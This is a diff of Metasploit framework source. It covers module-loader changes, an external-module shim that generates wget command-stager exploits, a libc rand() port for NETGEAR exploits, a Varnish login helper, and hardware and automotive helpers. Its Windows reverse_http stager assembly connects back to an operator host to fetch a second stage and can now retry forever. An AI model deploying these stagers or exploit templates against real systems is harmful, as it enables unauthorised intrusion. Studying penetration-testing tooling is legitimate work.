# Cause a login fail to get the challenge. Length is correct, but this has upper chars, subtle diff for debugging
|
||||
sock.put("auth #{Rex::Text.rand_text_alphanumeric(64)}\n")
|
||||
res = sock.get_once # grab challenge
|
||||
if res && res =~ @@AUTH_REQUIRED_REGEX
|
||||
return $1
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def login(pass)
|
||||
# based on https://www.varnish-cache.org/trac/wiki/CLI
|
||||
begin
|
||||
challenge = require_auth?
|
||||
if !!challenge
|
||||
response = Digest::SHA256.hexdigest("#{challenge}\n#{pass.strip}\n#{challenge}\n")
|
||||
sock.put("auth #{response}\n")
|
||||
res = sock.get_once
|
||||
if res && res =~ @@AUTH_SUCCESS_REGEX
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
else
|
||||
raise RuntimeError, "No Auth Required"
|
||||
end
|
||||
rescue Timeout::Error
|
||||
raise RuntimeError, "Varnish Login timeout"
|
||||
end
|
||||
end
|
||||
|
||||
def close_session
|
||||
sock.put('quit')
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.14.3"
|
||||
VERSION = "4.14.8"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -157,6 +157,26 @@ class HWBridge < Rex::Post::HWBridge::Client
|
|||
console.disable_output = original
|
||||
end
|
||||
|
||||
#
|
||||
# Loads the zigbee extension
|
||||
#
|
||||
def load_zigbee
|
||||
original = console.disable_output
|
||||
console.disable_output = true
|
||||
console.run_single('load zigbee')
|
||||
console.disable_output = original
|
||||
end
|
||||
|
||||
#
|
||||
# Loads the rftransceiver extension
|
||||
#
|
||||
def load_rftransceiver
|
||||
original = console.disable_output
|
||||
console.disable_output = true
|
||||
console.run_single('load rftransceiver')
|
||||
console.disable_output = original
|
||||
end
|
||||
|
||||
#
|
||||
# Load custom methods provided by the hardware
|
||||
#
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides a complete port of the libc rand() and srand() functions.
|
||||
# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might
|
||||
# be useful for any other module that needs to emulate C's random number generator.
|
||||
#
|
||||
# Author: Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
|
||||
#
|
||||
###
|
||||
module Auxiliary::CRand
|
||||
|
||||
attr_accessor :randtbl
|
||||
attr_accessor :unsafe_state
|
||||
|
||||
####################
|
||||
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
|
||||
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
|
||||
|
||||
TYPE_3 = 3
|
||||
BREAK_3 = 128
|
||||
DEG_3 = 31
|
||||
SEP_3 = 3
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
@randtbl =
|
||||
[
|
||||
# we omit TYPE_3 from here, not needed
|
||||
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
|
||||
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
|
||||
-615974602, 344556628, 939512070, -1249116260, 1507946756,
|
||||
-812545463, 154635395, 1388815473, -1926676823, 525320961,
|
||||
-1009028674, 968117788, -123449607, 1284210865, 435012392,
|
||||
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
|
||||
-205601318,
|
||||
]
|
||||
|
||||
@unsafe_state = {
|
||||
"fptr" => SEP_3,
|
||||
"rptr" => 0,
|
||||
"state" => 0,
|
||||
"rand_type" => TYPE_3,
|
||||
"rand_deg" => DEG_3,
|
||||
"rand_sep" => SEP_3,
|
||||
"end_ptr" => DEG_3
|
||||
}
|
||||
end
|
||||
|
||||
# Emulate the behaviour of C's srand
|
||||
def srandom_r (seed)
|
||||
state = @randtbl
|
||||
if seed == 0
|
||||
seed = 1
|
||||
end
|
||||
state[0] = seed
|
||||
|
||||
dst = 0
|
||||
word = seed
|
||||
kc = DEG_3
|
||||
for i in 1..(kc-1)
|
||||
hi = word / 127773
|
||||
lo = word % 127773
|
||||
word = 16807 * lo - 2836 * hi
|
||||
if (word < 0)
|
||||
word += 2147483647
|
||||
end
|
||||
dst += 1
|
||||
state[dst] = word
|
||||
end
|
||||
|
||||
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
|
||||
@unsafe_state['rptr'] = 0
|
||||
|
||||
kc *= 10
|
||||
kc -= 1
|
||||
while (kc >= 0)
|
||||
random_r
|
||||
kc -= 1
|
||||
end
|
||||
end
|
||||
|
||||
# Emulate the behaviour of C's rand
|
||||
def random_r
|
||||
buf = @unsafe_state
|
||||
state = buf['state']
|
||||
|
||||
fptr = buf['fptr']
|
||||
rptr = buf['rptr']
|
||||
end_ptr = buf['end_ptr']
|
||||
val = @randtbl[fptr] += @randtbl[rptr]
|
||||
|
||||
result = (val >> 1) & 0x7fffffff
|
||||
fptr += 1
|
||||
if (fptr >= end_ptr)
|
||||
fptr = state
|
||||
rptr += 1
|
||||
else
|
||||
rptr += 1
|
||||
if (rptr >= end_ptr)
|
||||
rptr = state
|
||||
end
|
||||
end
|
||||
buf['fptr'] = fptr
|
||||
buf['rptr'] = rptr
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -4,6 +4,7 @@
|
|||
# Auxiliary mixins
|
||||
#
|
||||
require 'msf/core/auxiliary/auth_brute'
|
||||
require 'msf/core/auxiliary/crand'
|
||||
require 'msf/core/auxiliary/dos'
|
||||
require 'msf/core/auxiliary/drdos'
|
||||
require 'msf/core/auxiliary/fuzzer'
|
||||
|
|
|
@ -22,7 +22,8 @@ module Msf
|
|||
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
|
||||
OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
|
||||
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
|
||||
OptString.new('SMSMESSAGE', [true, 'The text message to send'])
|
||||
OptString.new('SMSMESSAGE', [true, 'The text message to send']),
|
||||
OptString.new('SMSSUBJECT', [false, 'The text subject', ''])
|
||||
], Auxiliary::Sms)
|
||||
|
||||
register_advanced_options(
|
||||
|
@ -42,10 +43,11 @@ module Msf
|
|||
# sms.send_text_to_phones(numbers, 'Hello from Gmail')
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
|
||||
# @param subject [String] The text subject
|
||||
# @param message [String] The text to send.
|
||||
#
|
||||
# @return [void]
|
||||
def send_text(phone_numbers, message)
|
||||
def send_text(phone_numbers, subject, message)
|
||||
smtp = Rex::Proto::Sms::Model::Smtp.new(
|
||||
address: datastore['SMTPADDRESS'],
|
||||
port: datastore['SMTPPORT'],
|
||||
|
@ -57,7 +59,7 @@ module Msf
|
|||
|
||||
carrier = datastore['SMSCARRIER'].to_sym
|
||||
sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp)
|
||||
sms.send_text_to_phones(phone_numbers, message)
|
||||
sms.send_text_to_phones(phone_numbers, subject, message)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -81,6 +81,7 @@ module Msf::ModuleManager::Cache
|
|||
if module_info
|
||||
parent_path = module_info[:parent_path]
|
||||
|
||||
# XXX borked
|
||||
loaders.each do |loader|
|
||||
if loader.loadable?(parent_path)
|
||||
type = module_info[:type]
|
||||
|
@ -88,7 +89,7 @@ module Msf::ModuleManager::Cache
|
|||
|
||||
loaded = loader.load_module(parent_path, type, reference_name, :force => true)
|
||||
|
||||
break
|
||||
break if loaded
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -162,11 +163,9 @@ module Msf::ModuleManager::Cache
|
|||
# Skip cached modules that are not in our allowed load paths
|
||||
next if allowed_paths.select{|x| path.index(x) == 0}.empty?
|
||||
|
||||
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
|
||||
# join to '' so that typed_path_prefix starts with file separator
|
||||
typed_path_suffix = File.join('', typed_path)
|
||||
escaped_typed_path = Regexp.escape(typed_path_suffix)
|
||||
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
|
||||
# The load path is assumed to be the next level above the type directory
|
||||
type_dir = File.join('', Mdm::Module::Detail::DIRECTORY_BY_TYPE[type], '')
|
||||
parent_path = path.split(type_dir)[0..-2].join(type_dir) # TODO: rewrite
|
||||
|
||||
module_info_by_path[path] = {
|
||||
:reference_name => reference_name,
|
||||
|
|
|
@ -8,6 +8,7 @@ require 'active_support/concern'
|
|||
# Project
|
||||
#
|
||||
require 'msf/core/modules/loader/directory'
|
||||
require 'msf/core/modules/loader/executable'
|
||||
|
||||
# Deals with loading modules for the {Msf::ModuleManager}
|
||||
module Msf::ModuleManager::Loading
|
||||
|
@ -19,7 +20,8 @@ module Msf::ModuleManager::Loading
|
|||
|
||||
# Classes that can be used to load modules.
|
||||
LOADER_CLASSES = [
|
||||
Msf::Modules::Loader::Directory
|
||||
Msf::Modules::Loader::Directory,
|
||||
Msf::Modules::Loader::Executable # TODO: XXX: When this is the first loader we can load normal exploits, but not payloads
|
||||
]
|
||||
|
||||
def file_changed?(path)
|
||||
|
@ -115,8 +117,6 @@ module Msf::ModuleManager::Loading
|
|||
loaders.each do |loader|
|
||||
if loader.loadable?(path)
|
||||
count_by_type = loader.load_modules(path, options)
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
# Namespace for loading external Metasploit modules
|
||||
|
||||
module Msf::Modules::External
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,100 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules/external'
|
||||
require 'msf/core/modules/external/message'
|
||||
require 'open3'
|
||||
|
||||
class Msf::Modules::External::Bridge
|
||||
|
||||
attr_reader :path, :running
|
||||
|
||||
def meta
|
||||
@meta ||= describe
|
||||
end
|
||||
|
||||
def run(datastore)
|
||||
unless self.running
|
||||
m = Msf::Modules::External::Message.new(:run)
|
||||
m.params = datastore.dup
|
||||
send(m)
|
||||
self.running = true
|
||||
end
|
||||
end
|
||||
|
||||
def get_status
|
||||
if self.running
|
||||
n = receive_notification
|
||||
if n && n['params']
|
||||
n['params']
|
||||
else
|
||||
close_ios
|
||||
self.running = false
|
||||
n['response'] if n
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(module_path)
|
||||
self.running = false
|
||||
self.path = module_path
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :path, :running
|
||||
attr_accessor :ios
|
||||
|
||||
def describe
|
||||
resp = send_receive(Msf::Modules::External::Message.new(:describe))
|
||||
close_ios
|
||||
resp['response']
|
||||
end
|
||||
|
||||
# XXX TODO non-blocking writes, check write lengths, non-blocking JSON parse loop read
|
||||
|
||||
def send_receive(message)
|
||||
send(message)
|
||||
read_json(message.id, self.ios[1])
|
||||
end
|
||||
|
||||
def send(message)
|
||||
input, output, status = ::Open3.popen3([self.path, self.path])
|
||||
self.ios = [input, output, status]
|
||||
case Rex::ThreadSafe.select(nil, [input], nil, 0.1)
|
||||
when nil
|
||||
raise "Cannot run module #{self.path}"
|
||||
when [[], [input], []]
|
||||
m = message.to_json
|
||||
write_message(input, m)
|
||||
else
|
||||
raise "Error running module #{self.path}"
|
||||
end
|
||||
end
|
||||
|
||||
def receive_notification
|
||||
input, output, status = self.ios
|
||||
case Rex::ThreadSafe.select([output], nil, nil, 10)
|
||||
when nil
|
||||
nil
|
||||
when [[output], [], []]
|
||||
read_json(nil, output)
|
||||
end
|
||||
end
|
||||
|
||||
def write_message(fd, json)
|
||||
fd.write(json)
|
||||
end
|
||||
|
||||
def read_json(id, fd)
|
||||
begin
|
||||
resp = fd.readpartial(10_000)
|
||||
JSON.parse(resp)
|
||||
rescue EOFError => e
|
||||
{}
|
||||
end
|
||||
end
|
||||
|
||||
def close_ios
|
||||
input, output, status = self.ios
|
||||
[input, output].each {|fd| fd.close rescue nil} # Yeah, yeah. I know.
|
||||
end
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules/external'
|
||||
require 'base64'
|
||||
require 'json'
|
||||
|
||||
class Msf::Modules::External::Message
|
||||
|
||||
attr_reader :method, :id
|
||||
attr_accessor :params
|
||||
|
||||
def initialize(m)
|
||||
self.method = m
|
||||
self.params = {}
|
||||
self.id = Base64.strict_encode64(SecureRandom.random_bytes(16))
|
||||
end
|
||||
|
||||
def to_json
|
||||
JSON.generate({jsonrpc: '2.0', id: self.id, method: self.method, params: self.params.to_h})
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :method, :id
|
||||
end
|
|
@ -0,0 +1,103 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/modules/external'
|
||||
require 'msf/core/modules/external/bridge'
|
||||
|
||||
class Msf::Modules::External::Shim
|
||||
def self.generate(module_path)
|
||||
mod = Msf::Modules::External::Bridge.new(module_path)
|
||||
return '' unless mod.meta
|
||||
case mod.meta['type']
|
||||
when 'remote_exploit.cmd_stager.wget'
|
||||
s = remote_exploit_cmd_stager(mod)
|
||||
File.open('/tmp/module', 'w') {|f| f.write(s)}
|
||||
s
|
||||
end
|
||||
end
|
||||
|
||||
def self.remote_exploit_cmd_stager(mod)
|
||||
%Q|
|
||||
require 'msf/core/modules/external/bridge'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => #{mod.meta['name'].dump},
|
||||
'Description' => #{mod.meta['description'].dump},
|
||||
'Author' =>
|
||||
[
|
||||
#{mod.meta['authors'].map(&:dump).join(', ')}
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
#{mod.meta['references'].map do |r|
|
||||
"[#{r['type'].upcase.dump}, #{r['ref'].dump}]"
|
||||
end.join(', ')}
|
||||
],
|
||||
'DisclosureDate' => #{mod.meta['date'].dump},
|
||||
'Privileged' => #{mod.meta['privileged'].inspect},
|
||||
'Platform' => [#{mod.meta['targets'].map{|t| t['platform'].dump}.uniq.join(', ')}],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
#{mod.meta['targets'].map do |t|
|
||||
%Q^[#{t['platform'].dump} + ' ' + #{t['arch'].dump},
|
||||
{'Arch' => ARCH_#{t['arch'].upcase}, 'Platform' => #{t['platform'].dump} }]^
|
||||
end.join(', ')}
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => 5 }
|
||||
))
|
||||
|
||||
register_options([
|
||||
#{mod.meta['options'].map do |n, o|
|
||||
"Opt#{o['type'].capitalize}.new(#{n.dump},
|
||||
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
|
||||
end.join(', ')}
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
mod = Msf::Modules::External::Bridge.new(#{mod.path.dump})
|
||||
mod.run(datastore.merge(command: cmd))
|
||||
wait_status(mod)
|
||||
true
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Exploiting...")
|
||||
execute_cmdstager({:flavor => :wget})
|
||||
end
|
||||
|
||||
def wait_status(mod)
|
||||
while mod.running
|
||||
m = mod.get_status
|
||||
if m
|
||||
case m['level']
|
||||
when 'error'
|
||||
print_error m['message']
|
||||
when 'warning'
|
||||
print_warning m['message']
|
||||
when 'good'
|
||||
print_good m['message']
|
||||
when 'info'
|
||||
print_status m['message']
|
||||
when 'debug'
|
||||
vprint_status m['message']
|
||||
else
|
||||
print_status m['message']
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
||||
end
|
||||
end
|
|
@ -11,11 +11,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
|||
# @return [true] if path is a directory
|
||||
# @return [false] otherwise
|
||||
def loadable?(path)
|
||||
if File.directory?(path)
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
File.directory?(path)
|
||||
end
|
||||
|
||||
protected
|
||||
|
@ -35,8 +31,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
|||
full_entry_path = ::File.join(path, entry)
|
||||
type = entry.singularize
|
||||
|
||||
unless ::File.directory?(full_entry_path) and
|
||||
module_manager.type_enabled? type
|
||||
unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type)
|
||||
next
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,87 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/modules/loader'
|
||||
require 'msf/core/modules/loader/base'
|
||||
require 'msf/core/modules/external/shim'
|
||||
|
||||
# Concerns loading executables from a directory as modules
|
||||
class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base
|
||||
# Returns true if the path is a directory
|
||||
#
|
||||
# @param (see Msf::Modules::Loader::Base#loadable?)
|
||||
# @return [true] if path is a directory
|
||||
# @return [false] otherwise
|
||||
def loadable?(path)
|
||||
File.directory?(path)
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# Yields the module_reference_name for each module file found under the directory path.
|
||||
#
|
||||
# @param [String] path The path to the directory.
|
||||
# @param [Hash] opts Input Hash.
|
||||
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
# @yieldparam [String] path The path to the directory.
|
||||
# @yieldparam [String] type The type correlated with the directory under path.
|
||||
# @yieldparam module_reference_name (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
# @return (see Msf::Modules::Loader::Base#each_module_reference_name)
|
||||
def each_module_reference_name(path, opts={})
|
||||
whitelist = opts[:whitelist] || []
|
||||
::Dir.foreach(path) do |entry|
|
||||
full_entry_path = ::File.join(path, entry)
|
||||
type = entry.singularize
|
||||
|
||||
unless ::File.directory?(full_entry_path) && module_manager.type_enabled?(type)
|
||||
next
|
||||
end
|
||||
|
||||
full_entry_pathname = Pathname.new(full_entry_path)
|
||||
|
||||
# Try to load modules from all the files in the supplied path
|
||||
Rex::Find.find(full_entry_path) do |entry_descendant_path|
|
||||
if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path)
|
||||
entry_descendant_pathname = Pathname.new(entry_descendant_path)
|
||||
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
|
||||
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
|
||||
|
||||
# The module_reference_name doesn't have a file extension
|
||||
module_reference_name = File.join(File.dirname(relative_entry_descendant_path), File.basename(relative_entry_descendant_path, '.*'))
|
||||
|
||||
yield path, type, module_reference_name
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the full path to the module file on disk.
|
||||
#
|
||||
# @param (see Msf::Modules::Loader::Base#module_path)
|
||||
# @return [String] Path to module file on disk.
|
||||
def module_path(parent_path, type, module_reference_name)
|
||||
# The extension is lost on loading, hit the disk to recover :(
|
||||
partial_path = File.join(DIRECTORY_BY_TYPE[type], module_reference_name)
|
||||
full_path = File.join(parent_path, partial_path)
|
||||
|
||||
Rex::Find.find(File.dirname(full_path)) do |mod|
|
||||
if File.basename(full_path, '.*') == File.basename(mod, '.*')
|
||||
return File.join(File.dirname(full_path), File.basename(mod))
|
||||
end
|
||||
end
|
||||
|
||||
''
|
||||
end
|
||||
|
||||
# Loads the module content from the on disk file.
|
||||
#
|
||||
# @param (see Msf::Modules::Loader::Base#read_module_content)
|
||||
# @return (see Msf::Modules::Loader::Base#read_module_content)
|
||||
def read_module_content(parent_path, type, module_reference_name)
|
||||
full_path = module_path(parent_path, type, module_reference_name)
|
||||
unless File.executable?(full_path)
|
||||
load_error(full_path, Errno::ENOENT.new)
|
||||
return ''
|
||||
end
|
||||
Msf::Modules::External::Shim.generate(full_path)
|
||||
end
|
||||
end
|
|
@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp
|
|||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
|
@ -47,7 +48,8 @@ module Payload::Windows::ReverseHttp
|
|||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'],
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount']
|
||||
retry_count: ds['StagerRetryCount'],
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
|
@ -153,10 +155,12 @@ module Payload::Windows::ReverseHttp
|
|||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
def asm_reverse_http(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
retry_count = opts[:retry_count].to_i
|
||||
retry_wait = opts[:retry_wait].to_i * 1000
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
|
@ -315,15 +319,21 @@ module Payload::Windows::ReverseHttp
|
|||
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call ebp
|
||||
xchg esi, eax ; save hHttpRequest in esi
|
||||
|
||||
^
|
||||
if retry_count > 0
|
||||
asm << %Q^
|
||||
; Store our retry counter in the edi register
|
||||
set_retry:
|
||||
push #{retry_count}
|
||||
pop edi
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
send_request:
|
||||
^
|
||||
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
|
||||
|
@ -349,14 +359,30 @@ module Payload::Windows::ReverseHttp
|
|||
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call ebp
|
||||
test eax,eax
|
||||
jnz allocate_memory
|
||||
jnz allocate_memory
|
||||
|
||||
set_wait:
|
||||
push #{retry_wait} ; dwMilliseconds
|
||||
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
|
||||
call ebp ; Sleep( dwMilliseconds );
|
||||
^
|
||||
|
||||
if retry_count > 0
|
||||
asm << %Q^
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
|
||||
try_it_again:
|
||||
dec edi
|
||||
jnz send_request
|
||||
; if we didn't allocate before running out of retries, bail out
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
try_it_again:
|
||||
jmp send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, bail out
|
||||
^
|
||||
; retry forever
|
||||
^
|
||||
end
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
|
|
|
@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64
|
|||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
|
||||
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
|
@ -52,7 +53,8 @@ module Payload::Windows::ReverseHttp_x64
|
|||
ssl: opts[:ssl] || false,
|
||||
host: ds['LHOST'],
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount']
|
||||
retry_count: ds['StagerRetryCount'],
|
||||
retry_wait: ds['StagerRetryWait']
|
||||
}
|
||||
|
||||
# add extended options if we do have enough space
|
||||
|
@ -152,10 +154,12 @@ module Payload::Windows::ReverseHttp_x64
|
|||
# @option opts [String] :proxy_user The optional proxy server username
|
||||
# @option opts [String] :proxy_pass The optional proxy server password
|
||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||
#
|
||||
def asm_reverse_http(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
retry_count = opts[:retry_count].to_i
|
||||
retry_wait = opts[:retry_wait].to_i * 1000
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
|
@ -320,15 +324,19 @@ module Payload::Windows::ReverseHttp_x64
|
|||
mov rsi, rax
|
||||
^
|
||||
|
||||
if retry_count > 1
|
||||
if retry_count > 0
|
||||
asm << %Q^
|
||||
push #{retry_count}
|
||||
pop rdi
|
||||
|
||||
retryrequest:
|
||||
^
|
||||
end
|
||||
|
||||
|
||||
asm << %Q^
|
||||
retryrequest:
|
||||
^
|
||||
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
internetsetoption:
|
||||
|
@ -358,9 +366,15 @@ module Payload::Windows::ReverseHttp_x64
|
|||
call rbp
|
||||
test eax, eax
|
||||
jnz allocate_memory
|
||||
|
||||
set_wait:
|
||||
mov rcx, #{retry_wait} ; dwMilliseconds
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call rbp ; Sleep( dwMilliseconds );
|
||||
^
|
||||
|
||||
|
||||
if retry_count > 1
|
||||
if retry_count > 0
|
||||
asm << %Q^
|
||||
try_it_again:
|
||||
dec rdi
|
||||
|
@ -369,7 +383,8 @@ module Payload::Windows::ReverseHttp_x64
|
|||
^
|
||||
else
|
||||
asm << %Q^
|
||||
jmp failure
|
||||
jmp retryrequest
|
||||
; retry forever
|
||||
^
|
||||
end
|
||||
|
||||
|
|
|
@ -1,4 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::Post::Hardware
|
||||
require 'msf/core/post/hardware/automotive/uds'
|
||||
require 'msf/core/post/hardware/automotive/dtc'
|
||||
require 'msf/core/post/hardware/zigbee/utils'
|
||||
require 'msf/core/post/hardware/rftransceiver/rftransceiver'
|
||||
end
|
||||
|
|
File diff suppressed because it is too large
Load Diff
|
@ -13,15 +13,16 @@ module UDS
|
|||
#
|
||||
# @param id [String] Hex value as string. Example: 7e0
|
||||
# @param hash [Hash] Hash that includes "Packets" => [ { "ID" => "0xXXX", "DATA => [ "XX", "XX" ] } ]
|
||||
# @param start_offset [Integer] First packet start offset after meta data
|
||||
#
|
||||
# @return [Array] Just the data portion of an ISO-TP response represented as Hex Strings
|
||||
#
|
||||
def response_hash_to_data_array(id, hash)
|
||||
def response_hash_to_data_array(id, hash, start_offset = 5)
|
||||
data = []
|
||||
return data if not hash
|
||||
return data unless hash
|
||||
bad_count = 0
|
||||
if hash.has_key? "Packets"
|
||||
if not hash["Packets"].size > 1 # Not multiple packets
|
||||
if hash.key? "Packets"
|
||||
unless hash["Packets"].size > 1 # Not multiple packets
|
||||
pktdata = hash["Packets"][0]["DATA"]
|
||||
if pktdata[1] == 0x7F
|
||||
print_line("Packet response was an error")
|
||||
|
@ -32,14 +33,14 @@ module UDS
|
|||
end
|
||||
left2combine = hash["Packets"].size
|
||||
counter = 0
|
||||
while left2combine > 0 and bad_count < (hash["Packets"].size * 2)
|
||||
#print_line("DEBUG Current status combine=#{left2combine} data=#{data.inspect}")
|
||||
while left2combine.positive? && (bad_count < (hash["Packets"].size * 2))
|
||||
# print_line("DEBUG Current status combine=#{left2combine} data=#{data.inspect}")
|
||||
hash["Packets"].each do |pkt|
|
||||
if pkt.has_key? "ID" and pkt["ID"].hex == id.hex
|
||||
if pkt.has_key? "DATA"
|
||||
if counter == 0 # Get starting packet
|
||||
if (pkt.key? "ID") && pkt["ID"].hex == id.hex
|
||||
if pkt.key? "DATA"
|
||||
if counter.zero? # Get starting packet
|
||||
if pkt["DATA"][0] == "10"
|
||||
data += pkt["DATA"][5,3]
|
||||
data += pkt["DATA"][start_offset, 8 - start_offset]
|
||||
left2combine -= 1
|
||||
counter += 1
|
||||
else
|
||||
|
@ -72,50 +73,50 @@ module UDS
|
|||
# Shows the vehicles current data
|
||||
#
|
||||
# @param bus [String] unique CAN bus identifier
|
||||
# @param srcId [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dstId [Integer] Integer representation of the receiving CAN ID
|
||||
# @param src_id [Integer] Integer representation of the Sending CAN ID
|
||||
# @param dst_id [Integer] Integer representation of the receiving CAN ID
|
||||
# @param pid [Integer] Integer of the PID to get data about
|
||||
